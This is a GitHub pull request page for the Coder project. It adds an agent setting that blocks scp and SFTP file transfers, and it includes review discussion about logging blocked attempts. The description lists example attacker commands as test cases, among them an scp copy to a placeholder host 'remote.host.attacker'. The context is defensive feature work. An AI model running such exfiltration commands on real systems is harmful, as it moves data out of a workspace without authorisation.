Skip to content

feat: block file transfers for security #13501

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom
Merged
merged 15 commits into from
Jun 10, 2024
Merged

feat: block file transfers for security #13501

merged 15 commits into from
Jun 10, 2024

Conversation

mtojek
Copy link
Member

@mtojek mtojek commented Jun 7, 2024 •
edited
Loading

Related: #13383

This PR adds logic to conditionally block file transfers via Coder agent.

How to use it:

resource "docker_container" "workspace" {
  count = data.coder_workspace.me.start_count
  image = docker_image.main.name
  name = "coder-${data.coder_workspace.me.owner}-${lower(data.coder_workspace.me.name)}"
  hostname = data.coder_workspace.me.name
  entrypoint = ["sh", "-c", replace(coder_agent.main.init_script, "/localhost|127\\.0\\.0\\.1/", "host.docker.internal")]
  env = [
    "CODER_AGENT_TOKEN=${coder_agent.main.token}",
   ...
    "CODER_AGENT_BLOCK_FILE_TRANSFER=true",
  ]
 ...

These cases are covered:

  1. Attacker ssh's to the host and run scp to steal files: ssh coder.workspace-17.main scp localfile remote.host.attacker:~
  2. Attacker tries to smuggle malware: scp 2.txt coder.workspace-17.main:~
  3. Attacker steals a file from the host: scp coder.workspace-17.main:~/1.txt /dev/null

Outputs -

As you can see, only in the first case, we can show an error message that something went wrong. In case of SFTP subsystem, we can just cut the connection.

Re 1:

...
2024-06-07 13:34:33.325+02:00 Startup Script: [2024-06-07T11:34:32.506Z] info    - Not serving HTTPS
Notice: The startup scripts are still running and your workspace may be incomplete.
For more information and troubleshooting, see https://coder.com/docs/v2/latest/templates/troubleshooting#your-workspace-may-be-incomplete and https://coder.com/docs/v2/latest/templates/troubleshooting
File transfer has been disabled.

Re 2:

...
2024-06-07 13:34:33.325+02:00 Startup Script: [2024-06-07T11:34:32.506Z] info    - Not serving HTTPS
Notice: The startup scripts are still running and your workspace may be incomplete.
For more information and troubleshooting, see https://coder.com/docs/v2/latest/templates/troubleshooting#your-workspace-may-be-incomplete and https://coder.com/docs/v2/latest/templates/troubleshooting
scp: Connection closed

Re 3:

...
2024-06-07 13:34:33.325+02:00 Startup Script: [2024-06-07T11:34:32.506Z] info    - Not serving HTTPS
Notice: The startup scripts are still running and your workspace may be incomplete.
For more information and troubleshooting, see https://coder.com/docs/v2/latest/templates/troubleshooting#your-workspace-may-be-incomplete and https://coder.com/docs/v2/latest/templates/troubleshooting
scp: Connection closed

@mtojek mtojek self-assigned this Jun 7, 2024
@mtojek mtojek requested review from johnstcn and dannykopping June 7, 2024 13:34
@mtojek mtojek marked this pull request as ready for review June 7, 2024 13:34
mtojek
mtojek commented Jun 7, 2024
View reviewed changes
johnstcn
johnstcn reviewed Jun 7, 2024
View reviewed changes
Copy link
Member

@johnstcn johnstcn left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Left some comments.
We probably also want some tests to validate that blocking file transfers does not block regular old SSH.

agent/agentssh/agentssh.go
@@ -272,6 +279,18 @@ func (s *Server) sessionHandler(session ssh.Session) {
extraEnv = append(extraEnv, fmt.Sprintf("DISPLAY=:%d.0", x11.ScreenNumber))
}

if s.fileTransferBlocked(session) {
s.logger.Warn(ctx, "file transfer blocked", slog.F("session_subsystem", session.Subsystem()), slog.F("raw_command", session.RawCommand()))
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

out of scope: we may want to eventually have a way to surface this to admins as they may be interested in this sort of thing.

Copy link
Member Author

@mtojek mtojek Jun 10, 2024 •
edited
Loading

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

a new metric? maybe consider this as a follow-up option. I don't know if an admin wants to review notifications from users accidentally trying to use scp.

dannykopping
dannykopping reviewed Jun 7, 2024
View reviewed changes
agent/agentssh/agentssh.go
@@ -272,6 +279,18 @@ func (s *Server) sessionHandler(session ssh.Session) {
extraEnv = append(extraEnv, fmt.Sprintf("DISPLAY=:%d.0", x11.ScreenNumber))
}

if s.fileTransferBlocked(session) {
s.logger.Warn(ctx, "file transfer blocked", slog.F("session_subsystem", session.Subsystem()), slog.F("raw_command", session.RawCommand()))
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Do we run the risk here of logging a potentially large amount of text here?
Should we try and capture the user identity associated with this attempt, too?

Aside: this feels like a good use-case for an audit-log.

Copy link
Member Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Same as #13501 (comment)?

Yeah, the problem here is that it is logged on the agent side in /tmp/coder.blahblah/coder-agent-<some-file>.log, and it is not raised to admins. We may want to think about some metrics to notify them.

dannykopping
dannykopping approved these changes Jun 7, 2024
View reviewed changes
Copy link
Contributor

@dannykopping dannykopping left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

LGTM, mostly nits

@mtojek mtojek changed the title feat: block file transfers feat: block file transfers for security Jun 10, 2024
@mtojek mtojek enabled auto-merge (squash) June 10, 2024 12:01
@mtojek mtojek merged commit e96652e into main Jun 10, 2024
27 checks passed
@mtojek mtojek deleted the 13383-scp branch June 10, 2024 12:12
@github-actions github-actions bot locked and limited conversation to collaborators Jun 10, 2024
Sign up for free to subscribe to this conversation on GitHub. Already have an account? Sign in.
Reviewers

@dannykopping dannykopping dannykopping approved these changes

@johnstcn johnstcn johnstcn approved these changes

Assignees

@mtojek mtojek

Labels
None yet
Projects
None yet
Milestone
No milestone
Development

Successfully merging this pull request may close these issues.
3 participants
@mtojek @dannykopping @johnstcn